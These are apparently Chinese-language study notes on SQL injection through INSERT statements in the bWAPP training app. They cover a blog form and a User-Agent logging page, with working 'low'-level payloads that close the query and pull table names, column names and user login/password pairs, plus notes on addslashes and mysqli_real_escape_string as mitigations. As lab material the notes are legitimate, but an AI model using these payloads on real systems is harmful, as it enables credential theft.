SQL Insert注入
bwapp-bolg
代码分析
$entry = sqli($_POST["entry"]);
$owner = $_SESSION["login"];
$sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";
//故执行了 insert into blog(date,entry,owner) values(now(), '$entry', 'bee'); sql语句
//所以对()进行闭合即可
low
-
注入判断
'
entry','owner')#
- 联合查询
entry',(select database()))#
- 获取表名
entry',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#
- 获取列名
entry',(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()))#
- 提取信息
entry',(select group_concat(login,'-',password) from users))#
mid
使用 `addslashes`对输入的特殊字符进行转义(这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。)
high
使用 mysqli_real_escape_string
对字符串中的特殊字符进行转义, 以使得这个字符串是一个合法的 SQL 语句
bwapp–User-Agent
代码分析
//获取客户端user_agent,插入数据库并回显
$ip_address = $_SERVER["REMOTE_ADDR"];
$user_agent = $_SERVER["HTTP_USER_AGENT"];
// Writes the entry into the database
$sql = "INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), '" . sqli($user_agent) . "', '" . $ip_address . "')";
$recordset = $link->query($sql);
low
entry',(select group_concat(login,'-',password) from users))#
mid/high
分别使用了 addslashes()
和 mysqli_real_escape_string()
对数据进行消毒